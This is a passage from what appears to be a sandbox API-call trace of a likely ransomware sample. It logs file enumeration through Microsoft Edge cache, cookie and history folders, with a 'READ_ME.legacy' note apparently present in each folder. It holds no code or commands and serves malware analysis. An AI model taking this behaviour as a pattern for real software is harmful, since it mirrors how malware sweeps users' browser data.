ftCreationTime.dwLowDateTime=0x12829f55, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x12829f55, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0xf50b4cba, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0179.666] SetLastError (dwErrCode=0x0) [0179.666] GetLastError () returned 0x0 [0179.666] SetLastError (dwErrCode=0x0) [0179.666] GetLastError () returned 0x0 [0179.666] SetLastError (dwErrCode=0x0) [0179.666] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0179.666] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56dbe0 [0179.666] FindNextFileW (in: hFindFile=0x2f72a70, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf50b4cba, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf50b4cba, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf50b4cba, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0179.666] SetLastError (dwErrCode=0x0) [0179.667] GetLastError () returned 0x0 [0179.667] SetLastError (dwErrCode=0x0) [0179.667] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x5785d8 [0179.667] SetLastError (dwErrCode=0x0) [0179.667] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f63548 [0179.667] FindNextFileW (in: hFindFile=0x2f72a70, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf50b4cba, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf50b4cba, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf50b4cba, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0179.667] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f66ef0 [0179.667] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!006\\INetCache\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x9268ba69, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x9268ba69, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xf50b4cba, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f72bb0 [0179.667] SetLastError (dwErrCode=0x12) [0179.667] GetLastError () returned 0x12 [0179.667] SetLastError (dwErrCode=0x12) [0179.667] GetLastError () returned 0x12 [0179.667] SetLastError (dwErrCode=0x12) [0179.667] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0179.667] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56dd98 [0179.667] FindNextFileW (in: hFindFile=0x2f72bb0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x9268ba69, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x9268ba69, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xf50b4cba, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0179.668] SetLastError (dwErrCode=0x12) [0179.668] GetLastError () returned 0x12 [0179.668] SetLastError (dwErrCode=0x12) [0179.668] GetLastError () returned 0x12 [0179.668] SetLastError (dwErrCode=0x12) [0179.668] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0179.668] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56dce8 [0179.668] FindNextFileW (in: hFindFile=0x2f72bb0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf50b4cba, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf50b4cba, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf50b4cba, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0179.668] SetLastError (dwErrCode=0x12) [0179.668] GetLastError () returned 0x12 [0179.668] SetLastError (dwErrCode=0x12) [0179.668] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x578950 [0179.668] SetLastError (dwErrCode=0x12) [0179.668] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f63548 [0179.668] FindNextFileW (in: hFindFile=0x2f72bb0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf50b4cba, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf50b4cba, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf50b4cba, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0179.668] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x2f69a70 [0179.668] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!006\\INetCookies\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x9268ba69, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x9268ba69, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xf50b4cba, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f72df0 [0179.669] SetLastError (dwErrCode=0x12) [0179.669] GetLastError () returned 0x12 [0179.669] SetLastError (dwErrCode=0x12) [0179.669] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x578a78 [0179.669] SetLastError (dwErrCode=0x12) [0179.669] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0179.669] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56dad8 [0179.669] FindNextFileW (in: hFindFile=0x2f72df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x9268ba69, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x9268ba69, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xf50b4cba, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0179.669] SetLastError (dwErrCode=0x12) [0179.669] GetLastError () returned 0x12 [0179.669] SetLastError (dwErrCode=0x12) [0179.669] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x578950 [0179.669] SetLastError (dwErrCode=0x12) [0179.669] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0179.669] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56dd98 [0179.669] FindNextFileW (in: hFindFile=0x2f72df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf50b4cba, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf50b4cba, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf50b4cba, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0179.669] SetLastError (dwErrCode=0x12) [0179.669] GetLastError () returned 0x12 [0179.669] SetLastError (dwErrCode=0x12) [0179.670] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x5784b0 [0179.670] SetLastError (dwErrCode=0x12) [0179.670] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f633e0 [0179.670] FindNextFileW (in: hFindFile=0x2f72df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf50b4cba, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf50b4cba, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf50b4cba, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0179.670] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x2f6a7f0 [0179.670] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!006\\INetHistory\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x9268ba69, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x9268ba69, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xf50b4cba, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f72db0 [0179.670] FindNextFileW (in: hFindFile=0x2f72db0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x9268ba69, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x9268ba69, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xf50b4cba, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0179.670] FindNextFileW (in: hFindFile=0x2f72db0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf50b4cba, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf50b4cba, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf50b4cba, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0179.670] FindNextFileW (in: hFindFile=0x2f72db0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf50b4cba, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf50b4cba, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf50b4cba, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0179.670] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x2f6a058 [0179.670] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!006\\LocalState\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9268ba69, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x9268ba69, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xf50b4cba, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f72af0 [0179.671] FindNextFileW (in: hFindFile=0x2f72af0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9268ba69, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x9268ba69, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xf50b4cba, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0179.671] FindNextFileW (in: hFindFile=0x2f72af0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf50b4cba, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf50b4cba, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf50b4cba, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0179.671] FindNextFileW (in: hFindFile=0x2f72af0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf50b4cba, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf50b4cba, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf50b4cba, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0179.671] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f67aa8 [0179.671] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!006\\TempState\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9268ba69, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x9268ba69, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xf50b4cba, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f72cb0 [0179.671] FindNextFileW (in: hFindFile=0x2f72cb0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9268ba69, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x9268ba69, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xf50b4cba, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0179.671] FindNextFileW (in: hFindFile=0x2f72cb0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf50b4cba, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf50b4cba, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf50b4cba, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0179.671] FindNextFileW (in: hFindFile=0x2f72cb0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf50b4cba, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf50b4cba, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf50b4cba, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0179.671] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f679e0 [0179.671] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!121\\INetCache\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x987efe85, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x987efe85, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xf50b4cba, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f72eb0 [0179.672] FindNextFileW (in: hFindFile=0x2f72eb0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x987efe85, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x987efe85, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xf50b4cba, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0179.672] FindNextFileW (in: hFindFile=0x2f72eb0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf50b4cba, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf50b4cba, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf50b4cba, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0179.672] FindNextFileW (in: hFindFile=0x2f72eb0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf50b4cba, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf50b4cba, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf50b4cba, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0179.672] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x2f6a7f0 [0179.672] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!121\\INetCookies\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x987efe85, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x987efe85, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xf50b4cba, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f72cf0 [0179.672] FindNextFileW (in: hFindFile=0x2f72cf0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x987efe85, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x987efe85, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xf50b4cba, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0179.676] FindNextFileW (in: hFindFile=0x2f72cf0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf50b4cba, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf50b4cba, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf50b4cba, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0179.676] FindNextFileW (in: hFindFile=0x2f72cf0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf50b4cba, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf50b4cba, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf50b4cba, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0179.676] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x2f69998 [0179.676] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!121\\INetHistory\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x987efe85, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x987efe85, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xf50b4cba, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f72b70 [0179.676] FindNextFileW (in: hFindFile=0x2f72b70, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x987efe85, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x987efe85, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xf50b4cba, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0179.676] FindNextFileW (in: hFindFile=0x2f72b70, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf50b4cba, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf50b4cba, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf50b4cba, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0179.676] FindNextFileW (in: hFindFile=0x2f72b70, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf50b4cba, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf50b4cba, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf50b4cba, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0179.676] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x2f69a70 [0179.676] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!121\\LocalState\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x987efe85, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x987efe85, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xf50b4cba, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f72ff0 [0179.677] FindNextFileW (in: hFindFile=0x2f72ff0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x987efe85, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x987efe85, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xf50b4cba, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0179.677] FindNextFileW (in: hFindFile=0x2f72ff0, lpFindFileData=0x2e1fb24 | out: 